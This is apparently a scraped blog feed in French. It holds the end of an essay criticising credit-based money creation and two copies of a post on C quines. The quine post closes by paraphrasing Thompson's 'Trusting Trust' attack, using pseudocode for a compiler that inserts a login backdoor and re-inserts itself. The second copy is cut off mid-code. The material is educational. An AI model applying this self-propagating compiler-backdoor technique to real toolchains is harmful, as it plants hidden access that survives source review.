| 1 | 5 | 5 | |
| 2 | 5 | 5 | |
| 3 | 5 | 5 | |
| 4 | 5 | 3 | Déflation locale, les prix ont tendance à baisser. C’est à ce moment que le banquier achète à X. |
| 5 | 5 | 5 | Une fois l’argent réinjecté dans l’économie, les prix ont tendance à réaugmenter. Ce qu’a acheté le banquier retrouve donc sa valeur. |
Il faut bien avoir à l’esprit que la déflation se produit au fur et à mesure du remboursement des intérêts au banquier, sur une longue période, et non brutalement comme l’exemple pourrait le laisser penser.
Le banquier peut racheter les actifs de X et Y à bas prix, puisqu’ils ont baissé suite à la déflation. Cette réinjection de monnaie fera augmenter le prix de ces mêmes actifs en proportion mais ils auront changé de main de façon forcée (vers le banquier).
Merci à Galuel pour cette explication.
Nous avons vu qu’il était nécessaire que 100% des intérêts soient dépensés dans l’économie pour éviter la pénurie d’argent. Remarquons que rien ne montre que cette hypothèse, fût-elle injuste, serait suffisante.
Mais est-elle seulement vérifiée dans la réalité ? Car la simple possibilité théorique de cette situation idéalisée ne peut suffire à prétendre qu’elle serait vérifiée en pratique.
Nous pouvons même nous convaincre du contraire.
Les prêts que nous avons considérés jusqu’à présent sont ceux effectués par le système bancaire, qui sont les seuls créateurs de monnaie. Mais l’argent ainsi créé peut être reprêté par quelqu’un à quelqu’un d’autre, avec intérêts. Dans ce cas, cet argent sera grevé de 2 intérêts.
Supposons que la banque promette de dépenser 100% des intérêts dans l’économie, et qu’une personne, libre de toutes dettes, possède de l’argent en excès. Elle va pouvoir le prêter (ou l’investir) perpétuellement pour percevoir perpétuellement des intérêts. Tout dépenser dans l’économie ne serait pas à son avantage, car cela représente pour elle une source intarissable de revenus. Ses emprunteurs, pour lui payer les intérêts, devront nécessairement récupérer de l’argent dans le stock disponible… qui n’en contient pas assez pour rembouser le prêt principal et le prêt secondaire avec intérêts. Dans ce cas, il est inévitable de rembourser les anciens prêts avec… de nouveaux prêts plus importants.
Plus généralement, ceux qui ont de l’argent s’attendent à percevoir un intérêt dessus. L’investissement peut créer de nouvelles richesses réelles, mais seules de nouvelles dettes peuvent créer plus d’argent. Donc toute attente de profits, à partir de l’argent investi ou de prêts, crée de la demande pour plus d’argent, qui peut être :
C’est ce qu’a expliqué Paul Grignon en réponse aux critiques contre sa fameuse vidéo L’argent dette, qui l’ont poussé à publier L’argent dette 2 : promesses chimériques.
Mais avant de rentrer dans tous ces détails, peut-être aurait-il simplement fallu questionner, sur le principe, la légitimité d’un tel système.
L’argent est créé par le crédit. Donc la société est forcément endettée (sinon, il n’y aurait pas d’argent). Ce qui implique qu’elle devra perpétuellement payer des intérêts aux banques, des acteurs privés.
Ceci est d’autant plus étonnant que c’est la population, dans son ensemble, qui produit les richesses. La banque ne fait que créer l’argent permettant de les échanger. Ce sont donc ceux qui produisent les richesses qui sont endettés envers ceux qui créent l’argent.
Louis Even l’expliquait très bien :
Soulignons aussi un point frappant: C’est la production qui donne de la valeur à l’argent. Une pile d’argent, sans produits pour y répondre, ne fait pas vivre. Or, ce sont les cultivateurs, les industriels, les ouvriers, les professionnels, le pays organisé, qui font les produits, marchandises ou services. Mais ce sont les banquiers qui font l’argent basé sur ces produits. Et cet argent, qui tire sa valeur des produits, les banquiers se l’approprient et le prêtent à ceux qui font les produits. C’est un vol légalisé.
Maurice Allais, prix Nobel d’économie, écrivait même :
Dans son essence, la création monétaire ex nihilo actuelle par le système bancaire est identique, je n’hésite pas à le dire pour bien faire comprendre ce qui est réellement en cause, à la création de monnaie par des faux-monnayeurs, si justement condamnée par la loi. Concrètement elle aboutit aux mêmes résultats. La seule différence est que ceux qui en profitent sont différents.
(La Crise mondiale aujourd’hui. Pour de profondes réformes des institutions financières et monétaires., Maurice Allais, éd. Clément Juglar, 1999, p. 110)
Le texte est accessible ici.
Ne vous paraît-il pas étonnant qu’il faille toujours travailler plus (au point de réformer les retraites), alors que nous avons considérablement amélioré notre productivité ces dernières décennies ? Et la crise viendrait d’un manque de travail, d’un manque de production, vraiment ?
La véritable raison, ce n’est pas que nous manquons de richesses réelles. Nous ne devons pas lutter contre une rareté de produits dont nous avons besoin, mais contre la rareté de l’argent permettant d’accéder à ces produits. Et la rareté de cet argent dépend du crédit, qui dépend de la croissance.
En clair : sans croissance, nous avons (toujours) une abondance de produits, mais une pénurie de monnaie pour y accéder. Grâce à la croissance, nous limitons temporairement la pénurie de monnaie.
C’est la raison pour laquelle nous devons toujours produire (et consommer) plus. Ce qui, d’ailleurs, amplifie le problème :
A mesure que le pays se développe, en production comme en population, il faut plus d’argent. Or on ne peut avoir d’argent nouveau qu’en s’endettant d’une dette collectivement impayable.
Il reste donc le choix entre arrêter le développement ou s’endetter; entre chômer ou contracter des emprunts impayables. C’est entre ces deux choses-là qu’on se débat justement dans tous les pays.
Dans un récent discours, Naomi Klein dénonçait cette pénurie artificielle (citation rapportée par Zoupic) :
Nous savons tous, ou du moins nous sentons que le monde est à l’envers : nous agissons comme s’il n’y avait pas de limites à ce qui, en réalité, n’est pas renouvelable – les combustibles fossiles et l’espace atmosphérique pour absorber leurs émissions. Et nous agissons comme s’il y avait des limites strictes et inflexibles à ce qui, en réalité, est abondant – les ressources financières pour construire la société dont nous avons besoin.
Si nous sommes endettés, ce n’est donc pas parce que nous vivons au-dessus de nos moyens, comme nous pouvons l’entendre parfois, mais bien parce que le système monétaire entraîne inévitablement l’endettement.
Cela rejoint un point de l’argumentaire de MrQuelquesMinutes, à propos de sa vidéo sur la dette publique :
B-2) L’État doit emprunter aux marchés financiers pour fonctionner, cela veut-il dire que l’État utilise l’argent qu’il n’a pas ? Et que l’État vit donc “au dessus de ses moyens” ?
Si l’on poursuit ce raisonnement, alors toute la société vit au dessus de ses moyens puisque toute la monnaie qu’elle utilise provient à l’origine du crédit bancaire. Pourtant, cela n’a pas de sens de dire cela, puisque c’est la société elle-même qui produit les biens et les services qu’elle utilise.
Qu’une nation ou qu’un État s’endette dans un système monétaire où la monnaie est créé uniquement par le crédit, ne veut pas dire qu’il “vit au-dessus des ses moyens”, mais que ce système monétaire, de part sa nature, provoque l’endettement généralisé de cette nation ou de cet État.
La possibilité très théorique que la société soit capable de rembourser ses dettes (afin qu’elles n’augmentent pas perpétuellement) ne remet nullement en cause les critiques fondamentales que porte Louis Even (et bien d’autres) sur le fonctionnement de la création monétaire, manifestement injuste.
Un système où la pénurie de monnaie est quasiment garantie, et où les richesses sont redistribuées massivement de la population vers les banques, n’est pas acceptable. Ne devons donc le corriger. Comment ?
La première étape est de comprendre comment fonctionne le système actuel, pour envisager plusieurs réponses. L’une d’elles est le 100% monnaie.
Personnellement, je suis convaincu que la meilleure est le dividende universel, pour plusieurs raisons (et beaucoup d’autres).
À vous de vous forger votre avis…
";s:7:"dateiso";s:15:"20111203_142301";}s:15:"20111114_221417";a:7:{s:5:"title";s:38:"Programmes auto-reproducteurs (quines)";s:4:"link";s:67:"http://blog.rom1v.com/2011/11/programmes-auto-reproducteurs-quines/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=3308";s:7:"pubDate";s:31:"Mon, 14 Nov 2011 21:14:17 +0000";s:11:"description";s:361:"Vous êtes-vous déjà demandé comment écrire un programme qui génère son propre code source ? Si vous n’avez jamais essayé, je vous conseille de prendre un peu de temps pour y réfléchir avant de lire la suite. Ce n’est pas évident, car chaque caractère ajouté dans le code source doit également apparaître sur la sortie… Un [...]";s:7:"content";s:26734:"Vous êtes-vous déjà demandé comment écrire un programme qui génère son propre code source ? Si vous n’avez jamais essayé, je vous conseille de prendre un peu de temps pour y réfléchir avant de lire la suite. Ce n’est pas évident, car chaque caractère ajouté dans le code source doit également apparaître sur la sortie…
Un tel programme s’appelle un quine. Et il est prouvé qu’avec tout langage de programmation il existe un quine (une infinité ?). Cette page détaille un peu plus la théorie.
Des exemples sont déjà écrits pour plein de langages.
Voici un programme auto-reproducteur simple en C :
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
Nous pouvons tester, ce programme se génère bien lui-même :
$gcc quine.c && ./a.out | tee quine.c#include<stdio.h> main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}$gcc quine.c && ./a.out | tee quine.c#include<stdio.h> main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}$gcc quine.c && ./a.out | tee quine.c#include<stdio.h> main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
(essayez de l’écrire ou de le réécrire tout seul pour bien comprendre comment ça fonctionne)
L’essentiel de l’astuce ici est de passer la chaîne « s » à la fois en tant que format et d’argument de printf.
Ce n’est pas sans poser de problèmes : dans la déclaration de la chaîne s, nous ne pouvons pas écrire « " » (évidemment), ni « \" », car alors il faudrait que le programme génère le « \" », donc le « " », ce que précisément nous cherchons à faire. L’astuce est donc d’utiliser son code ASCII (34), inséré grâce aux « %c ». Le code 10, quant à lui, correspond au saut de ligne.
Nous pouvons imaginer deux programmes qui se génèrent l’un-l’autre : un programme A génère un code source B, tel que le programme B génère le code source A.
À partir de l’exemple précédent, c’est trivial, il suffit de rajouter une variable (que j’ai appelée « f » comme « flag ») dont on alterne la valeur :
#include<stdio.h>
main(){int f=0;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
La valeur de f alterne entre 0 et 1 :
$gcc quine.c && ./a.out | tee quine.c#include<stdio.h> main(){int f=1;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}$gcc quine.c && ./a.out | tee quine.c#include<stdio.h> main(){int f=0;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}$gcc quine.c && ./a.out | tee quine.c#include<stdio.h> main(){int f=1;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
Il est également possible d’écrire un programme qui en génère un autre, qui lui-même en génère un autre… sans jamais « boucler ».
Je me suis amusé à en écrire deux exemples.
Le premier calcule la suite de Fibonacci. Ou plutôt, il contient les deux premiers éléments de la suite (F(0)=0 et F(1)=1), génère un programme qui contiendra F(1) et F(2), qui lui-même générera un programme qui contiendra F(2) et F(3), etc. :
#include<stdio.h>
main(){int a=0,b=1;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
Pour obtenir F(10) et F(11) (suivre les valeurs des variables a et b) :
$for i in {1..10}; do gcc quine.c && ./a.out | tee quine.c; done#include<stdio.h> main(){int a=1,b=1;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}#include<stdio.h> main(){int a=1,b=2;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}#include<stdio.h> main(){int a=2,b=3;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}#include<stdio.h> main(){int a=3,b=5;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}#include<stdio.h> main(){int a=5,b=8;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}#include<stdio.h> main(){int a=8,b=13;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}#include<stdio.h> main(){int a=13,b=21;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}#include<stdio.h> main(){int a=21,b=34;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}#include<stdio.h> main(){int a=34,b=55;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}#include<stdio.h> main(){int a=55,b=89;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
Ce que je trouve fabuleux, c’est que chaque programme, qui connaît deux valeurs de la suite, sait non seulement générer un nouveau programme qui calculera la valeur suivante (ça, c’est facile), mais en plus, ce nouveau programme saura lui-même générer un autre programme qui calculera la prochaine, etc. Chaque programme transmet en quelque sorte son code génétique à sa descendance.
Suivant le même principe, il est possible de calculer le PGCD de deux nombres. Nous pouvons générer une lignée de programmes qui calculeront chacun une étape de l’algorithme d’Euclide.
Cet exemple permet de calculer PGCD(64,36) :
#include<stdio.h>
main(){int a=64,b=36;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
Le caractère « % » ayant une signification dans le formatage de printf, nous devons le doubler.
Nous aurions pu utiliser à la place a-a/b*b (ce qui revient à peu près au même, si a et b sont positifs avec a>b).
Voici le résultat (suivre les valeurs des variables a et b) :
$for i in {1..5}; do gcc quine.c && ./a.out | tee quine.c; done#include<stdio.h> main(){int a=36,b=28;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}#include<stdio.h> main(){int a=28,b=8;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}#include<stdio.h> main(){int a=8,b=4;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}#include<stdio.h> main(){int a=4,b=0;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}#include<stdio.h> main(){int a=4,b=0;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
Une fois la solution trouvée (lorsque b vaut 0), le programme se comporte comme un vrai quine (il se regénère à l’identique).
Passons maintenant à l’étape suivante. Jusqu’à maintenant, nous avons généré un programme qui génère un autre programme… Très bien.
Mais ces programmes générés (en fait, leur code source), nous les compilons avec un compilateur (gcc).
Mais un compilateur, c’est un programme, qui en plus est écrit dans le langage qu’il doit compiler. En particulier, le compilateur C est écrit en C.
À partir là, il est possible de faire des choses très intéressantes, comme l’a expliqué en 1984 Ken Thompson dans son célèbre article « Reflections on Trusting Trust » (que je vais paraphraser).
Le code suivant est une idéalisation du code du compilateur C qui interprète le caractère d’échappement :
c = next();
if (c != '\\')
return c;
c = next();
if (c == '\\')
return '\\';
if (c == 'n')
return '\n';
C’est « magique » : le programme sait, de manière totalement portable, quel caractère est compilé pour un saut de ligne pour n’importe quel jeu de caractères. Le fait qu’il le sache lui permet de se recompiler lui-même, en perpétuant ainsi cette connaissance.
Supposons que nous voulions rajouter le caractère spécial « \v » pour écrire une « tabulation verticale » :
c = next();
if (c != '\\')
return c;
c = next();
if (c == '\\')
return '\\';
if (c == 'n')
return '\n';
if (c == 'v')
return '\v';
Évidemment, si le compilateur ne connaît pas « \v », ce code ne compile pas. Mais il suffit de lui apprendre : le code ASCII de la tabulation verticale est 11. Nous pouvons donc modifier temporairement le compilateur, pour en générer une nouvelle version :
c = next();
if (c != '\\')
return c;
c = next();
if (c == '\\')
return '\\';
if (c == 'n')
return '\n';
if (c == 'v')
return 11;
La nouvelle version du compilateur accepte maintenant « \v », et peut donc compiler son propre code source contenant ce caractère. Le code source contenant le « 11 » peut donc être totalement supprimé et oublié.
C’est un concept profond. Il suffit de lui dire une fois, l’auto-référencement fait le reste.
Considérons alors la fonction compile(s) permettant de compiler une ligne de code source. Une simple modification va délibérément mal compiler la source lorsqu’un motif est détecté :
void compile(char * s) {
if (match(s, "pattern")) {
compile("bug");
return;
}
…
}
Supposons que le motif permette d’identifier la commande login, et que le bug (cheval de Troie) compilé permette d’accepter, en plus du mot de passe correct, un mot de passe prédéfini quelconque : nous pourrions, en connaissant ce « faux » mot de passe, nous connecter sur n’importe quelle machine possédant le programme login compilé avec ce compilateur.
Mais évidemment, un tel bout de code dans le compilateur C ne passerait pas inaperçu et serait détecté très rapidement… Sauf avec l’ultime étape :
void compile(char * s) {
if (match(s, "pattern1")) {
compile("bug1");
return;
}
if (match(s, "pattern2")) {
compile("bug2");
return;
}
…
}
Ici, nous ajoutons un second cheval de Troie. Le premier motif correspond toujours à la commande login, tandis que le second motif correspond au compilateur C. Le second bug est un programme auto-reproducteur (tel que ceux que nous avons vus dans ce billet) qui insère les deux chevaux de Troie. Il nécessite une phase d’apprentissage comme dans l’exemple avec « \v ». Nous compilons d’abord la source ainsi modifiée avec le compilateur C normal pour générer un binaire corrompu, que nous utilisons désormais comme compilateur C. Maintenant, nous pouvons supprimer les bugs de la source, le nouveau compilateur va les réinsérer à chaque fois qu’il sera compilé.
Ainsi, en compilant un code source « propre » avec un compilateur dont le code source est « propre » et que nous avons compilé nous-mêmes, nous générons un binaire contenant un cheval de Troie !
Il est cependant possible de contrer cette attaque.
";s:7:"dateiso";s:15:"20111114_221417";}s:15:"20111114_211417";a:7:{s:5:"title";s:38:"Programmes auto-reproducteurs (quines)";s:4:"link";s:66:"http://blog.rom1v.com/2011/11/programmes-auto-reproducteurs-quines";s:4:"guid";s:66:"http://blog.rom1v.com/2011/11/programmes-auto-reproducteurs-quines";s:7:"pubDate";s:25:"2011-11-14T21:14:17+01:00";s:11:"description";s:0:"";s:7:"content";s:23683:"
Vous êtes-vous déjà demandé comment écrire un programme qui génère son propre code source ? Si vous n’avez jamais essayé, je vous conseille de prendre un peu de temps pour y réfléchir avant de lire la suite. Ce n’est pas évident, car chaque caractère ajouté dans le code source doit également apparaître sur la sortie…
Un tel programme s’appelle un quine. Et il est prouvé qu’avec tout langage de programmation il existe un quine (une infinité ?). Cette page détaille un peu plus la théorie.
Des exemples sont déjà écrits pour plein de langages.
Voici un programme auto-reproducteur simple en C :
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}Nous pouvons tester, ce programme se génère bien lui-même :
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
(essayez de l’écrire ou de le réécrire tout seul pour bien comprendre comment ça fonctionne)
L’essentiel de l’astuce ici est de passer la chaîne s à la fois en tant que
format et d’argument de printf.
Ce n’est pas sans poser de problèmes : dans la déclaration de la chaîne s,
nous ne pouvons pas écrire " (évidemment), ni \", car alors il faudrait que
le programme génère le \", donc le ", ce que précisément nous cherchons à
faire. L’astuce est donc d’utiliser son code ASCII (34), inséré grâce aux
%c. Le code 10, quant à lui, correspond au saut de ligne.
Nous pouvons imaginer deux programmes qui se génèrent l’un-l’autre : un programme A génère un code source B, tel que le programme B génère le code source A.
À partir de l’exemple précédent, c’est trivial, il suffit de rajouter une
variable (que j’ai appelée « f » comme « flag ») dont on alterne la valeur :
#include<stdio.h>
main(){int f=0;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}La valeur de f alterne entre 0 et 1 :
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){int f=1;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){int f=0;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){int f=1;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
Il est également possible d’écrire un programme qui en génère un autre, qui lui-même en génère un autre… sans jamais “boucler”. Je me suis amusé à en écrire deux exemples.
Le premier calcule la suite de Fibonacci. Ou plutôt, il contient les deux premiers éléments de la suite (F(0)=0 et F(1)=1), génère un programme qui contiendra F(1) et F(2), qui lui-même générera un programme qui contiendra F(2) et F(3), etc. :
#include<stdio.h>
main(){int a=0,b=1;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}Pour obtenir F(10) et F(11) (suivre les valeurs des variables a et b) :
$ for i in {1..10}; do gcc quine.c && ./a.out | tee quine.c; done
#include<stdio.h>
main(){int a=1,b=1;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=1,b=2;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=2,b=3;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=3,b=5;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=5,b=8;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=8,b=13;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=13,b=21;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=21,b=34;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=34,b=55;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=55,b=89;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
Ce que je trouve fabuleux, c’est que chaque programme, qui connaît deux valeurs de la suite, sait non seulement générer un nouveau programme qui calculera la valeur suivante (ça, c’est facile), mais en plus, ce nouveau programme saura lui-même générer un autre programme qui calculera la prochaine, etc. Chaque programme transmet en quelque sorte son code génétique à sa descendance.
Suivant le même principe, il est possible de calculer le PGCD de deux nombres. Nous pouvons générer une lignée de programmes qui calculeront chacun une étape de l’algorithme d’Euclide.
Cet exemple permet de calculer PGCD(64,36) :
#include<stdio.h>
main(){int a=64,b=36;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}Le caractère % ayant une signification dans le formatage de printf, nous
devons le doubler.
Nous aurions pu utiliser à la place a-a/b*b (ce qui revient à peu près au
même, si a et b sont positifs avec a>b).
Voici le résultat (suivre les valeurs des variables a et b) :
$ for i in {1..5}; do gcc quine.c && ./a.out | tee quine.c; done
#include<stdio.h>
main(){int a=36,b=28;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=28,b=8;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=8,b=4;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=4,b=0;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=4,b=0;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
Une fois la solution trouvée (lorsque b vaut 0), le programme se comporte
comme un vrai quine (il se regénère à l’identique).
Passons maintenant à l’étape suivante. Jusqu’à maintenant, nous avons généré un
programme qui génère un autre programme… Très bien. Mais ces programmes générés
(en fait, leur code source), nous les compilons avec un compilateur (gcc).
Mais un compilateur, c’est un programme, qui en plus est écrit dans le langage qu’il doit compiler. En particulier, le compilateur C est écrit en C.
À partir là, il est possible de faire des choses très intéressantes, comme l’a expliqué en 1984 Ken Thompson dans son célèbre article Reflections on Trusting Trust (que je vais paraphraser).
Le code suivant est une idéalisation du code du compilateur C qui interprète le caractère d’échappement :
= next();
if (c != '\\')
return c;
c = next();
if (c == '\\')
return '\\';
if (c == 'n')
return '\n';C’est “magique” : le programme sait, de manière totalement portable, quel caractère est compilé pour un saut de ligne pour n’importe quel jeu de caractères. Le fait qu’il le sache lui permet de se recompiler lui-même, en perpétuant ainsi cette connaissance.
Supposons que nous voulions rajouter le caractère spécial « \v » pour écrire
une “tabulation verticale” :
c = next();
if (c != '\\')
return c;
c = next();
if (c == '\\')
return '\\';
if (c == 'n')
return '\n';
if (c == 'v')
return '\v';Évidemment, si le compilateur ne connaît pas \v, ce code ne compile pas.
Mais il suffit de lui apprendre : le code ASCII de la tabulation
verticale est 11. Nous pouvons donc modifier temporairement le compilateur,
pour en générer une nouvelle version :
c = next();
if (c != '\\')
return c;
c = next();
if (c == '\\')
return '\\';
if (c == 'n')
return '\n';
if (c == 'v')
return 11;La nouvelle version du compilateur accepte maintenant « \v », et peut donc
compiler son propre code source contenant ce caractère. Le code source contenant
le 11 peut donc être totalement supprimé et oublié.
C’est un concept profond. Il suffit de lui dire une fois, l’auto-référencement fait le reste.
Considérons alors la fonction compile(s) permettant de compiler une ligne de
code source. Une simple modification va délibérément mal compiler la source
lorsqu’un motif est détecté :
void compile(char *s) {
if (match(s, "pattern")) {
compile("bug");
return;
}
// …
}Supposons que le motif permette d’identifier la commande login, et que le
bug (cheval de Troie) compilé permette d’accepter, en plus du mot de passe
correct, un mot de passe prédéfini quelconque : nous pourrions, en connaissant
ce “faux” mot de passe, nous connecter sur n’importe quelle machine possédant le
programme login compilé avec ce compilateur.
Mais évidemment, un tel bout de code dans le compilateur C ne passerait pas inaperçu et serait détecté très rapidement… Sauf avec l’ultime étape :
void compile(char * s) {
if (match(s, "pattern1")) {
compile("bug1");
return;
}
if (match(s, "pattern2")) {
